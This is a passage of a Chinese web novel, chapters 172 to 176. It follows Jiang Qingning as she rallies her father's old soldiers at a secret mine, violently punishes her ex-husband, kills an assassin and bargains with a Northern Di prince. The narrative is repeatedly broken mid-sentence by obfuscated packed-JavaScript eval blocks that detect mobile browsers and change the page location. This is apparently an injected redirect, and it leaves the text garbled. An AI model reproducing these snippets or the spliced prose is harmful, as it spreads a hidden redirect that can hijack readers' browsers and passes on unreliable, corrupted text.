姜清宁的心头不禁泛起一阵微妙的波澜,她意识到贺宁或许已对她的妹妹,悄然生出了异样的情愫。 然而回想起两人唯一的交集,不过是上月在姜清宁的院子里的匆匆一面,怎就足以让一颗心悄然倾斜? 这份突如其来的忧虑如同乌云蔽日,让姜清宁的心情瞬间沉重起来。 世间情感复杂多变,尤其是这深宅大院之中,一步错便是满盘皆输。 念及清晞单纯无邪,姜清宁心中五味杂陈,决定要保护好这个妹妹,不让她轻易涉足这情感的漩涡。 “没什么,阿姐不过是一时出神。” 姜清宁望着姜清晞,眼神中既有温柔也有坚定:“晞儿,阿姐有件事要与你说,一个月后便是你的及笄之礼,阿姐希望你能在这段时间尽量少出门,尤其是宁阁有外男来访时,更是要避而不见。” “你放心,阿姐都是为了你好,日后你自会明白这一切。” 姜清晞闻言,清澈的眼眸中闪过一丝不解,却敏锐地捕捉到阿姐语气中的严肃。 她虽不明所以,但深知阿姐所做一切皆是为了自己好,于是嘴角勾起一抹温暖的笑容,甜甜地应承道: “阿姐放心,晞儿明白了,这段时间晞儿就乖乖待在房里,学习琴棋书画,等着及笄礼的到来。” “虽然可能是琴棋书画顺从我吧……”姜清晞忧愁的叹气。 望着妹妹那纯真无邪的笑容,姜清宁心中的忧虑并未完全散去。 但至少在这一刻,她能为清晞筑起一道暂时的屏障,让她少受一份伤害。 夜已深沉,在檐下灯笼晕开的光晕里微微发亮。 整个院落一片静谧,唯有脚步声轻轻叩在青石板上。 姜清宁下意识地放轻了脚步,目光投向西厢房那扇紧闭的窗棂。 窗纸后透出一点微弱而稳定的暖黄烛光,像一颗小小的星辰。 白日里她离开时,妹妹那满口应承绝不出门的清脆声音犹在耳边,此刻看着那点静谧的光,姜清宁绷紧了一整日的心弦,才稍稍松弛了几分。 无论如何,妹妹的安危,是她此刻最不容有失的底线。 “小姐,可要传膳?” 紫苏迎上来,眼中担忧。 姜清宁摇了摇头,眉宇间带着挥之不去的倦意,低声道:“不必了,备热水吧,乏得很。” 紫苏应声退下。 姜清宁独自步入内室,当卸下步摇,褪去外衫,温热的浴汤包裹住疲惫的四肢百骸时,她才真正允许自己沉静下来。 水汽氤氲,模糊了铜镜中那张过于清丽也过于冷硬的面容。 思绪如烟,丝丝缕缕飘散开去。 翌日清晨,天边初露鱼肚白,姜清宁身披一袭淡雅晨雾织就的斗篷,踏上前往京城郊外五十里之外的路途。 山路蜿蜒,林木葱郁,晨风轻拂,带着山间特有的清新与凉意,似乎连空气中都弥漫着一股即将沸腾的暗流。 那座矿山,对她而言,不仅仅是三年前一次偶然间以非凡眼光购得的财富之源,更是她心中一片未被尘世污染的净土。 那时她一介女流之姿在商海中浮沉多年,凭借过人的智慧与胆识,将这片看似荒芜的山脉化作滚滚金银,为自己赢得足以撼动朝野的雄厚资本。 然而她并未止步于此,而是秘密在此地招募并培养了一支安慰,他们个个身手不凡,忠诚不渝。 时光荏苒,如今的矿山已非昔日可比,它不仅是姜清宁韬光养晦的基地,更是她磨砺兵马蓄势待发的战略要地。 在这片被岁月雕琢的山谷间,住着绝大多数士兵,皆是姜清宁父兄姜柏川与姜清淮当年的旧部。 想当年姜家二将威名赫赫,镇守边疆,功勋卓著,却因皇权沉浮,一朝被贬从此风光不再。 随着姜家势力的衰微,那些曾誓死追随的将领们也未能幸免,或遭贬谪或心灰意冷辞官归隐。然而,在这看似绝望的时刻,姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123410|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清宁的坚韧照亮了他们的心房。 这些年,当他们逐渐得知这位姜家小姐在京城中的种种艰难与不屈,一股难以言喻的忠诚与热血在胸中沸腾,他们纷纷放弃安逸不远千里主动前来投靠,誓要守护这位心中有着大义的人。 “即便跟着你,上刀山下火海,直至**,我们亦在所不辞!” 句句掷地有声的誓言,回荡在山谷之间,震撼人心。 他们的眼神中闪烁着坚定与决绝,那是对姜清宁无条件的信任与支持,也是对不公命运的一次次挑战与抗争。 思绪回归。 当她的身影出现在通往谷底的蜿蜒石道上时,不知是谁率先发现了她,一声激动到变调的呼喊划破山谷的喧嚣:“大小姐回来了!” 刹那间,山谷像是被投入滚油的冷水,轰然炸开。 “大小姐!” “是大小姐!” “大小姐回来了!” 欢呼声如同决堤的洪流,从四面八方奔涌汇聚,正在校场上操练的士兵们猛地停下动作,齐齐转身目光炽热的投向那高处的身影。 营房内涌出更多的人,有须发花白的老兵,有健壮如山的汉子,还有抱着孩子的妇人,一张张被山风和劳作刻下印记的脸上,此刻都洋溢着纯粹的不加掩饰的激动与喜悦。 “大小姐安好!” “我等恭迎大小姐!” 声浪一浪高过一浪,汇聚成一股撼人心魄的力量。 姜清宁站在高处,迎着那几乎要将她淹没的声浪,眼眸深处有什么东西被这灼热的情感烫了一下,微微震动。 她抬起手,缓缓压下。 “诸位。”二字一出。 那山呼海啸般的喧腾,竟奇迹般地在她这个简单的动作下,迅速平息下去,只余下无数双热切的眼睛,无数颗激烈跳动的心。 姜清宁的目光缓缓扫过下方的脸庞。 这些都是她父亲姜柏川、兄长姜清淮当年在战场上同生共死的袍泽,是曾用血肉之躯彼此守护的兄弟们。 第172章试炼 父兄被构陷贬谪,远戍苦寒之地,这些将士们也被朝廷逐渐边缘,甚至被迫辞官归乡,散落天涯。 是她用意外获得的矿山作为根基,将他们重新聚拢。 这些人一条心的拖家带口地来到这里,在这里扎根练兵。 姜清宁深吸一口气,山谷清冽的空气带着铁锈与泥土的味道涌入肺腑。 她清朗的声音落入每一个人的耳中:“诸位叔伯兄弟,清宁回来了。” 回应她的,是更加震耳欲聋的欢呼。 姜清宁压下心头的澎湃,与几位核心将领迅速进入议事书房。 书房内,烛火跳跃,映照着墙面上悬挂的巨大舆图,山川河流,关隘城池,尤其是通往北疆苦寒之地的漫长路线,被朱砂笔重重勾勒出来。 “诸位叔伯,”姜清宁站在舆图前,开门见山,声音沉静而有力,“时机将至。” 这几个月以来,姜清宁利用京城错综复杂的权贵关系网暗中运作,贿赂关键人物,在吏部与兵部安插钉子,利用矿山庞大的产出积累财富,通过隐秘渠道换取精良的军械粮草,联络北疆策动当地官员,为父兄可能的归途扫除障碍,甚至借助京城勋贵子弟的掩护,悄无声息地转移部分精锐力量。 “大小姐。” 一位须发皆白,资历最老的老将军陈镇缓缓开口,声音沉稳如山: “粮草军械可已备足,北疆可有万全把握,京城内外的眼线能否保证消息的及时传递?” 姜清宁含笑一一详细作答,条分缕析,数据清晰。 她展示的不仅是缜密的计划,更是这三年呕心沥血,步步为营积累下的雄厚资本。 几位老将听着,脸上的凝重渐渐被欣慰所取代。 议事结束,老将军陈镇看着姜清宁,眼中满是长辈的慈爱和激赏,抚须笑道: “大小姐这运筹帷幄的本事,颇有老帅当年之风。” “走,去校场活动活动筋骨。让那群小崽子们也开开眼,见识见识我们姜家真正的枪法!” 姜清宁连日紧绷的心神难得地松快了一瞬,唇角微扬,眼中闪过一丝属于年轻人的锐气与锋芒: “也好,许久未曾活动骨头都要锈了,正好也看看叔伯们操练的成果。” 当姜清宁换上一身便于行动的玄色劲装,手握通体暗金的**出现在校场时,偌大的场地早已被围得水泄不通。 摇旗呐喊之声,震得地面都在微微发颤。 “大小姐!大小姐!” “必胜!” 姜清宁握紧手中沉甸甸的金枪,冰冷的触感从掌心蔓延,瞬间压下所有喧嚣,只剩下血液奔流的轰鸣。 她目光平静地扫过场边几位摩拳擦掌的将领,微微颔首:“哪位叔伯先来指教?” “我来!” 赵莽性子最急,第一个按捺不住,抄起一柄厚背**便大步流星踏入场中,声如洪钟,“大小姐,老赵得罪了!” 话音未落,他人已如猛虎下山,厚重的刀锋撕裂空气,带着沉猛的劲风,当头劈下。 毫无花哨,纯粹是战场上以力破巧,一往无前的杀招。 姜清宁瞳孔微缩,足尖一点,身形不退反进,如同游鱼般贴着那呼啸的刀光侧身滑过。 手中金枪并未硬撼,枪身一抖,枪尖化作一点迅疾无比的寒星,直刺赵莽因发力而略显空门的肋下! “好快!”场边有人惊呼。 赵莽经验老到,刀势虽猛却留了三分回旋之力,见状爆喝一声,手腕猛地一拧,沉重的刀身竟在半空中诡异地划了个弧线,险之又险地格开那刁钻的枪尖。 巨大的反震力让两人同时退开半步。 “痛快!”赵莽虎目放光,战意更盛,刀势展开,大开大合,如同狂风骤雨般席卷而来。 姜清宁手中的金枪却灵动起来。 她不再硬碰,身形在刀光缝隙中飘忽穿梭,步法精妙绝伦,时而如弱柳扶风,时而又似苍鹰掠地。 那杆金枪在她手中仿佛有了生命,枪影重重,每一击都精准地击打在赵莽刀势转换的节点上,角度刁钻,力道却控制得恰到好处,既逼得赵莽不得不回防,又不至于伤其分毫。 场外数万双眼睛看得屏息凝神,大气不敢出。 赵莽的刀势固然威猛无俦,刚猛绝伦,但姜清宁那看似轻灵飘忽,实则蕴含着惊人控制力与洞察力的枪法,更让人目眩神迷。 五十余招转瞬即过。 赵莽的刀势渐渐被牵引,他额头见汗,气息也粗重起来。 姜清宁一声清叱,抓住赵莽的换气间隙,金枪陡然加速,枪尖精准无比地点在赵莽持刀的手腕上。 一股巧劲透入,赵莽只觉得手腕一麻,那柄沉重的**竟险些脱手。 他踉跄后退一步,看着自己手腕上那一点微红的印记,又惊又佩,随即哈哈大笑,抱拳道: “大小姐枪法通神,老赵服了!这身功夫,老帅见了也得夸一句青出于蓝!” 场外瞬间爆发出惊天动地的欢呼与喝彩。 “大小姐威武!” “好枪法!” 姜清宁收枪而立,气息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131713|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是略有些急促,脸上并无骄矜之色,对着赵莽微微颔首:“赵叔承让。” 夕阳熔金,将整个山谷染上一层壮丽的血色。 最后一位挑战者也终于在姜清宁的枪势下,被逼得弃剑认输。 **而立的玄色身影上。 汗水浸湿她额前的碎发,贴在光洁的额角,劲装勾勒出挺拔而略显单薄的身形,然而此刻没人会怀疑这具身躯里蕴含的力量。 姜清宁环视全场,目光平静而深邃,带着一种超越年龄的沉稳。 她缓缓抬起手中金枪,枪尖斜指被晚霞烧红的苍穹,朗声道:“诸位!”声音清越,清晰地传遍整个山谷。 “我姜家枪非为逞凶斗狠,昔日护的是身后黎民百姓,守的是家国疆土,今日我姜清宁在此立誓!” 她目光扫过一张张激动的面孔,一字一句,铿锵有力,如同金铁交鸣,砸在每个人的心上: “此枪所指,必为父兄洗雪沉冤,此枪所向,必护我袍泽家小周全,此枪所往,必不负诸位今日追随之热血赤诚!” “无论前路是荆棘遍地,还是刀山火海,清宁在此与诸位同生共死,荣辱与共!” 短暂的死寂。 随即,欢呼声响起: “愿随大小姐!同生共死!荣辱与共!” “同生共死!荣辱与共!” 夕阳余晖落在姜清宁挺直的脊背上,将那玄色的身影勾勒出一道耀眼的金边。 她握紧了手中冰冷的金枪,一股前所未有的责任感,充斥着她的四肢百骸。 车轮碾过官道,京城巍峨的轮廓在渐浓的夜色中显现,华灯初上,车马粼粼,驶入城门。 马车在府门前稳稳停住。 姜清宁撩开车帘,就在她准备弯腰下车的瞬间,一道突兀的身影闯入视线。 荀臣等在宁阁门前的石阶下,一身月白色的锦袍在府门灯笼昏黄的光线下显得有些刺眼,衬得他面容越发温润如玉,只是那温润之下隐藏着的是一丝不易察觉的焦躁。 他看到马车停稳,立刻上前,伸出骨节分明的手,声音柔和:“你回来了,小心些,我扶你。” 姜清宁的动作顿在半空。 她甚至懒得再看荀臣那张虚伪的脸,无视伸到面前的手,腰肢一拧,玄色的裙裾在空中划过一道利落的弧线,轻盈地落在青石板地面上。 动作干脆利落,带着习武之人特有的矫健,与荀臣伸出的手,稳稳错开。 荀臣脸上的笑容瞬间僵住,伸出的手尴尬地停在半空,指尖微微蜷缩。 第173章她动手了 在姜清宁的眼中,荀臣现如今就像是一个将死之人,是粘板上待宰的鱼肉,两人之间连最后一丁点的相助之谊都没有。 面对这种阴险狡诈的奸诈小人,她只会将对方直接一击命中,彻底打入地狱。 “你当真与我没有半句话要说了么,我们之间到底有过莫离。”荀臣神色痛苦地开口。 姜清宁眼神冷漠:“你还有脸跟我提孩子?荀莫离长成如今这副模样,你负全责,我早已与他断了母子情分,断亲书都由同知大人坐镇写成了。” 荀臣惊愕一瞬,疾步上前:“什么时候的事情,我怎么不知道?” “不对,我是说我到底是莫离的父亲,这事儿总该知会我一声才是……” “现在不是知会你了?荀大人还有何事?” 姜清宁神色不耐,转身和他对视:“荀臣,你到底要干什么?” “你一定要这么和我说话吗?就算不顾及我们八年的夫妻情分,但八年前到底是我帮了姜家,就算是看在曾经的情谊上,你能不能先听我把话好好说完?” 荀臣眸底暗沉,提到当年之事时,下意识地闪过一抹心虚。 呵。 “好啊,那你说,我听着。”姜清宁讥讽一笑,颔首道。 荀臣双拳紧握,挣扎半天道:“如今安平伯府外表浮华,实则内里空虚极了,库房亏虚,母亲想要做生意,但短短一月之间就赔了五千两白银,我想让你帮忙带安平伯府做生意。” “你放心,最后挣到的银子,待我百年之后都会放到莫离的手中,他才是我的嫡长子……” 荀臣觉得**,他本不想来找姜清宁,但姜清宁如今做生意的名头极大,他也是多方打听,才知道姜清宁似乎远比表面看着更加聪颖。 这么多年以来,他竟然都没有发现姜清宁的真面目,错把珍珠当鱼目,一错再错。 且姜清宁是镇北王府注定的世子妃,纵横商界,人人都要给她七分薄面,荀臣如今想要入股做生意,第一想到的就是姜清宁。 但他拉不下面子求情,只能托出母亲承下亏空的名头,到时候和姜清宁合作挣了钱,再好好地给母亲打几套首饰。 荀臣自信地拿出自己的筹码,两人之间有一个孩子,姜清宁即便是为了孩子,也会给自己几分薄面,想到这里他的眼底不禁生出几分笑意。 “清宁,你是极为清楚我的,我当年敢冒大不韪帮助姜家,让二房三房死里逃生,如今定不会违背承诺。” “呵~”姜清宁轻嗤,一声突兀的笑声打断荀臣的滔滔不绝。 姜清宁没由来觉得好笑,荀臣脸色难看,瞧着她讥讽的神情,心底不由得生出一抹恐慌出来。 “清宁,你笑什么?” “当然是在笑你,白日做梦了。”姜清宁矜傲道,“是我做的。” “你说什么?”荀臣满头雾水。 “什么是你做的?” “你那五千两,是我做的。” 姜清宁声音清冷,语气坚定的陈述道。 “荀臣,你拿什么脸面,在骗了我之后,还信誓旦旦地告诉我,是你帮了姜家?” “在你当年毫不犹豫地承下林崇放出的钩子时,可曾想过会有被我发现的一天?” 姜清宁迈步朝着他迈进,一言一行毫不留情,荀臣被面前强大的气势震撼,忍不住踉跄着后退,内心掀起波涛骇浪。 “你……怎么会……” “不对,究竟是谁在你耳边说了耳旁风,当年明明是我,明明是我救的姜家!” “呵,承了我的恩情这么多年,倒真以为自己做了好事了?当然是你的好妻子姜如意告诉我的啊,她把什么都告诉我了。” 姜清宁勾唇,泛起一个阴冷的神情。 荀臣如坠冰窟,姜如意死的这段时间,他被威胁被迫把白清漪送去庄子上囚禁,终身不得出。 但身旁一直相安无事,再加上查不出什么,就真的以为姜如意只是寻了由头,将他哄骗了去。 “是那日?”荀臣瞠目结舌,而后咬牙道,“是姜如意死的那日,怪不得她临到死都要撑着一口气! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131714|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原来是想把我拖入地狱!” “姜清宁,你当真信了她的鬼话不成,她可是平白欺辱了你一年,欺负你没有父母庇护!” 姜清宁好笑,荀臣竟然知道,但作为夫婿,他却从未尽到应有的职责。 “她还跟你说了什么?”荀臣想到一件事,整个人如坠冰窟。 若是姜清宁知道了……她知道了他……那恐怕只有同归于尽这条路了。 “你的命太贱了,旁的我毫不知情,怎么?你有别的把柄落入姜如意的手中,荀臣,你可真是活该啊。” 姜清宁讥笑道:“当年我父兄之事全是有你诬陷,在他们的书房放入虚假的证据,害得我们一家人分离整整八年多。” “荀臣,我不仅要拿你的五千两,我还要让你整个安平伯府,都付出代价!” 话音落下,姜清宁转身就走,连一个眼神都没给面色紧绷,心底却松了口气的荀臣。 荀臣如今在官场人人攀附,姜然是好一阵都没收到过这种冷落了,他几步上前抬手就要抓住姜清宁的肩膀,却被眼前人敏锐地察觉到闪身躲过。 荀臣眉眼一紧,望着她轻盈灵动的身法,下一刻出手猛地要去扣她的肩膀。 姜清宁侧眸,眼神凌厉:“找死!” 几乎是顷刻之间,玄色的衣裙闪过,姜清宁踢腿朝身后踹去,荀臣下腹一紧连忙躲过。 下一刻姜清宁已经闪身到他的身旁,抬手紧紧握住他的肩膀,将人猛地扣住提起,几拳下去将荀臣打得面色苍白,被丢到地上的时候猛地突出一大口鲜血。 荀臣头晕目眩地蜷缩在地面上,从小腹处传来骨裂的疼痛,逐渐蔓延到四肢百骸。 “安平伯,这是恼羞成怒,要灭口吗?”姜清宁似笑非笑地站在他面前。 荀臣缓了许久,艰难地抬起头,看着居高临下的人。 “你究竟是什么时候……会武功的?” 姜清宁的这几招看似简单,却把多年坚持习武健身的他,打得吐血到爬不起来,这等伸手,绝非常人能及…… 第174章报复回去 姜清宁是习武之人的这个结论,让荀臣几乎是忘记疼痛。 “有什么意义呢?或许安平伯早就忘了,我从一开始就是武将之女,文韬武略样样精通。” 荀臣内心产生巨大的惶恐,艰难地伸出手抓住姜清宁的裙摆,吐血道:“不,不是这样的,你是世家嫡女,怎会是如此粗鄙之……” 下一秒,姜清宁猛地将裙摆抬脚扯回来,俯身紧紧扼住荀臣的下巴,鲜红的血液染到她的手上,绽放出绮丽的纹路。 “粗鄙?那娶了粗鄙之人女儿的你,又算是什么呢?” “荀臣,你好脏啊。” 姜清宁手中发狠,荀臣痛地叫出声,随着一声清脆的响声,他的下巴被姜清宁卸了。 她抬手拔下头上的发簪,狠狠插入荀臣的心口下三寸:“这一下,是我还给你这八年的情谊,剩下的我们慢慢算账。” “呃……”荀臣疼得发颤,一口鲜血喷出,洒在姜清宁脸畔上。 “小姐,擦一擦吧,可别被脏污之人气坏了身子。”紫苏恭敬地递上帕子,眉眼未抬,和姜清宁做了一样的姿态。 姜清宁抬脚将荀臣踹出几丈的距离,转身接过帕子,擦拭着双手道:“让人将他扔回安平伯府,别死在宁阁外面,脏了风水。” 紫苏应声道:“是,大小姐。” “你们两个,过个把时辰,再去寻了推车将人丢回去,别脏了地界儿。” 门房笑容灿烂,人也跟着硬气十分,连声附和:“紫苏姐姐放心,咱们定会把握好分寸的。” 姜清宁朝着后院走去,紫苏快步跟上,面上这才浮现担忧:“小姐,咱们将安平伯伤了,若是寻常人查到什么,是否对我们的计划……” “荀臣不会说的,他只会背地里想要除了我,毕竟我一旦和贺宁成婚,背后便不止父兄,还有镇北王府这个得力助手。” “荀臣此人虚伪狡诈极好面子,就算是杀了他,他都不会说出今夜在我这里吃了亏。” “是,小姐辛苦了,奴婢这就去让知秋备水,您赶忙沐浴除除晦气。”紫苏心满意足地开口,行礼后朝着丫鬟房走去。 姜清宁目不斜视,走到房间前,察觉到一股逼近的气息,脚下一顿推开门悄无声息地走进去。 房间内昏暗无比,却和她离开时产生了差距,里面有一股血腥味,若非常年习武之人,并不会察觉到这若有所悟的气息。 她状似自然的缓步走到圆桌旁,为自己倒了杯水,看着杯沿旁细微的粉末,唇角勾起一抹了然的笑意。 发凉的茶水饮下,下一刻头晕目眩地倒在桌旁,气息平稳,却不能动作。 三息之后。 一道黑色的身影从内室房梁而落,抬步朝着姜清宁走去,手中的弯刀在月色下显得格外凌厉,黑影站定在姜清宁的身旁,高高举起手中的弯刀朝着她纤细的脖颈落去。 下一刻,姜清宁猛地起身抬脚踹在桌上,借力朝着身后退去,一手撑着房门稳住身形,一手摸向腰间抽出闪着寒光的软剑。 几道寒光闪过,弯刀落在地上,黑影不可置信地捂住脖颈,身子失力跪在地上,鲜血从指缝间汹涌地流出来。 “好!” 一道喝彩声从门外响起,伴随着一阵脚步声和鼓掌声,姜清宁听着门外的朗笑,抬手抓住逐渐失温的黑影肩颈朝着门外丢去。 下一刻,破门声响起,门外一袭锦衣黑袍的男人顿住,黑影从破碎的门板中冲出来,朝着他冲过来。 两道黑色身影的暗卫出现,挡在锦袍男的面前,将黑影朝着一旁踹去。 “不愧是武将之女,这些年做个内宅妇人,倒是委屈你的伸手了。” 锦袍男一顿,随后打开手中的折扇,边摇边笑道:“皇妹,可还识得皇兄?” 姜清宁迈步走出房内,神色清冷地望着面前眉眼深邃,带有异域风情的年轻男子。 “我不知道你在说什么,擅闯他人府宅,可做好留下性命的准备?” “哎~皇妹说笑了,这几月以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133595|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来皇妹时常与皇兄传递书信,难不成皇兄还会骗你不成,这话可真让皇兄伤心呀~”锦衣男笑容灿烂,望着姜清宁的神情亲切无比。 “呵,说什么鬼话,拿命来!” 姜清宁冷喝一声,抬剑朝着男人飞身而去,六个暗卫落在她的面前,姜清宁眼神一凌,毫不犹豫地翻身后退。 “这位先生,是否过分了?” 锦衣男摇头:“不愧是庶妃的女儿,有中原人的警惕心,不过也是,你一出生北狄王庭就改朝换代了,皇妹自然是不记得幼时的事情了。” 姜清宁神情难看:“自讨苦吃。” 她不再犹豫,飞身朝着面前的六个暗卫冲过去,招式凌厉,招招下了死手,以一己之力逼得六人齐齐后退。 慕容沣眼底一亮,虽然还没下了百分百的信任,但面前这个女人所表现出的狠毒,让他坚信这绝对不是中原人。 中原人怯懦不堪,姜家人世代忠君爱国绝不会教出叛国的女儿,除非本性就是极恶的,像他们家的血脉。 “好了住手吧。” 慕容沣缓缓开口,六个暗卫齐齐停下,即便被收不回剑的姜清宁伤到,都没有喊出声。 “你究竟要干什么?我的人被你怎么样了?” “你说的是自己的‘妹妹’?还是你的婢女和嬷嬷们?”慕容沣没说一句,姜清宁的神色就冷三分。 “自我介绍一下,我叫慕容沣,父王为了入主中原,特意为我们北狄王庭改了慕容的姓氏。” 慕容沣神色矜傲,满身的通华之气让人难以忽视。 姜清宁嗤笑:“慕容?你们倒是有野心,大乾往上数的**慕容氏当年可是开创了先河,你们北狄王庭又有几分底气,能和中原比?” “不用故意刺激皇兄,虽然我父王灭了你的父王,让你母妃难缠而亡,但北狄王历代如此,这是北狄的命运。” “你若是有本事,大可以回北狄之后,杀了我的父王,自己称王。”慕容沣不以为意道。 第175章引狼** 姜清宁笑容瘆人:“你说我是北狄长公主,我的父母死在你父王的手中,那血债还需要血偿才对。” “你若真有胆魄,真有诚意助本宫复国……” 她微微倾身,凑近慕容沣,冰冷的吐息拂过他的耳廓,“不如你即刻返回北狄王庭,替本宫杀了他,用他的人头,做你登上王座的踏脚石,届时你为王,本宫为长公主,你我联手共掌北狄,再挥师南下踏平大乾岂不快哉?” 她的话语如同淬了剧毒的**,狠狠扎进慕容沣的心脏。 慕容沣瞳孔骤然收缩,他看着姜清宁近在咫尺的脸庞,一股寒意从脚底直冲天灵盖。 这枚棋子,似乎远比他想象的更加锋利,也更加难以掌控。 姜清宁直起身,不再看慕容沣那变幻不定的脸色,转身走向内室破碎的房门,只留下一句冰冷刺骨的话语在暮色中回荡: “想好了,再带着你的诚意来吧。” 短暂的死寂后,慕容沣非但没有震怒,反而低低地笑了起来,显得格外阴鸷诡谲。 慕容沣拊掌,眼神灼灼,带着一种近乎癫狂的兴奋,“皇妹当真是胆魄惊人,皇兄佩服。” 他上前一步,无视地上那滩尚未干涸的暗红血迹,目光如同毒蛇般缠绕着站在原地的姜清宁。 “父王的生死在皇兄眼中,远不及那王庭的宝座诱人,他老了,昏聩了,守着祖宗留下的基业却不敢进取,只有我慕容沣,才能带领北狄铁骑,踏碎大乾的河山,重现昔日荣光!” 他毫不掩饰自己的野心,甚至带着一种炫耀:“正因如此,皇兄才会瞒着父王,暗中寻访皇妹多年,才会得知皇妹踪迹后,不惜以身犯险,亲率精锐潜入这龙潭虎穴般的京城,只求与皇妹共谋大业!” 他张开双臂,玄色王袍在暮色中如同展开的蝠翼。 “皇兄带来的绝非区区几个探子,城外三十里野狼峪,皇兄麾下三千最精锐的北狄狼骑已悄然驻扎,只待皇妹一声令下,便可化作撕碎大乾京畿防线的尖刀!” 三 姜清宁瞳孔微缩,心中掀起惊涛骇浪。 慕容沣的胆大妄为和手中掌握的力量,远超她之前的预估,这疯子竟真敢带兵潜入大乾腹地。 慕容沣捕捉到她眼底一闪而逝的震动,心中得意更甚,笑容也越发张扬:“皇妹如今可还怀疑皇兄的诚意与实力?” 姜清宁面上却依旧是一片冰冷的不信任,她微微侧身,避开慕容沣那过于侵略性的目光,声音带着刻意的疏离与审视: “三千狼骑?听起来倒是威风,只是慕容沣,我凭什么信你?就凭你这一面之词?你既能瞒着你父王来找我,焉知他日不会为了更大的利益,转头就把我卖给大乾皇帝?” “皇妹!”慕容沣被她接连的质疑弄得有些焦躁,眼中闪过一丝戾气。 他强压下翻涌的怒意,知道此刻不能逼急了这个心思深沉,手段狠辣的女人。 他深吸一口气,忽然抬手打了个响指。 院墙阴影处,传来几声轻微的响动。 紧接着,被堵着嘴捆的结结实实的紫苏、知秋还有张嬷嬷,被几个蒙面的北狄暗卫推搡着押了出来。 三人看到院中的情形,尤其是姜清宁脚边那具刺客尸体和破碎的门板,眼中满是惊恐和担忧,拼命挣扎着发出呜呜的声音。 “皇妹你看。” 慕容沣指着三人,脸上带着一种施舍般的笑容,“您的忠仆毫发无损,方才不过是怕她们惊扰了皇妹处理家务事,皇兄才让人‘请’她们去旁边歇息片刻。” “如今误会解除,自然完璧归赵。”他一挥手,暗卫立刻割断绳索,取下堵嘴的布团。 “小姐!” “姑娘!” 紫苏三人立刻扑到姜清宁身边,惊魂未定地上下打量她。 姜清宁看着慕容沣,眼神冰冷依旧,但那份浓烈到实质的敌意和杀气,似乎收敛了些许。 她并未对慕容沣的“善意”表示感激,只是冷冷道:“三皇子倒是会做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一切都在按着她的规划,一步一步地推进。 第176章狠狠反击 北狄的狼已至,引狼**的计划,成功了大半。 慕容沣的野心和实力,也暴露无遗。 秦休那边……岭南的棋,也该动了。 只是这每一步,都踏在刀尖之上,稍有不慎,便是万劫不复。 半个时辰后,一道轻灵如燕的身影无声无息地从院墙外翻入,稳稳落在凉亭前。 姜清晞一身夜行衣,小脸上带着长途奔袭后的薄汗,眼神却锐利明亮。 “阿姐。”她压低声音,语速极快,“那慕容沣带着人,抬着尸体径直出了城,一路往西北方向去了,速度极快,中途没有停留,看方向确实是野狼峪。” “而且,”她眼中闪过一丝凝重,“我远远跟着,发现他们入峪前峪口暗哨密布,警戒森严,远远不止他说的三千人,看营盘规模和巡弋骑兵的数量怕是翻倍都不止,阿姐,这北狄三皇子藏得够深。” 姜清宁心头一凛。 慕容沣果然没说实话,这疯子,竟带了如此重兵潜入,野心昭然若揭。 “知道了。” 姜清宁面上不动声色,只微微颔首,眼中寒芒闪烁,“小妹辛苦了,回去歇息吧,这几日你只需远远盯着野狼峪的动静,任何异常立刻回报。” 她看着妹妹,语气前所未有的郑重,“记住你的安全最重要,绝不可靠得太近,更不可暴露行踪,北狄狼骑的斥候绝非等闲。” “阿姐放心,我有分寸。”姜清晞用力点头,眼中满是自信和坚定。 看着妹妹轻巧离去的身影融入夜色,姜清宁独自坐在凉亭中,夏夜的微风拂过,带着庭院里未散尽的血腥气。 她缓缓闭上眼,将所有的谋划在脑海中再次细细推演。 慕容沣的狼骑是猛虎,亦是双刃剑。 